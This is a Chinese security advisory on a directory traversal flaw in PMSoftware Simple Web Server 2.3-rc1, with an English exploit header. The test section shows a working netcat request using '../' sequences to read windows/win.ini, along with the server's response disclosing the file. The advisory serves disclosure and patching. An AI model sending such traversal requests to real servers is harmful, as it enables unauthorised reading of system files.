发布日期:2013-01-02
更新日期:2013-01-08
受影响系统:
PMSoftware PMSoftware Simple Web Server 2.3-rc1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 57143
PMSoftware Simple Web Server是HTTP服务器应用。
Simple Web Server 2.3-rc1之前版本及其他版本没有正确过滤用户的输入,通过包含 (/../) 序列的特制URL请求,可允许远程攻击者遍历系统上的所有目录。
<*来源:CwG GeNiuS (cwggenius@gmail.com)
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Exploit Title: Simple Webserver 2.3-rc1 Directory Traversal
# Date: 01/02/2013
# Exploit Author: CwG GeNiuS
# Vendor Homepage:
# Software Link:
# Version: 2.3-rc1 (and earlier)
# Tested on: Windows 7 Enterprise SP1
#
#Vulnerability: When removing the preceding "/" from a GET
# request the webserver allows directory
# traversal.
#
#Fix: I have spoken with the developer who has now
# released 2.3-rc2 to correct the vulnerability
root@bt:~# nc -v 192.168.1.132 80
192.168.1.132: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.132] 80 (www) open
GET ../../../../../../../../windows/win.ini http/1.1
HTTP/1.1 400 Bad Request
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Connection: close
HTTP/1.1 200 Ok
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Accept-Ranges: bytes
Content-type:
Content-Length: 403
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
GET ../../../../../../../../windows/win.ini http/1.1
建议:
--------------------------------------------------------------------------------
厂商补丁:
PMSoftware
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
?id=1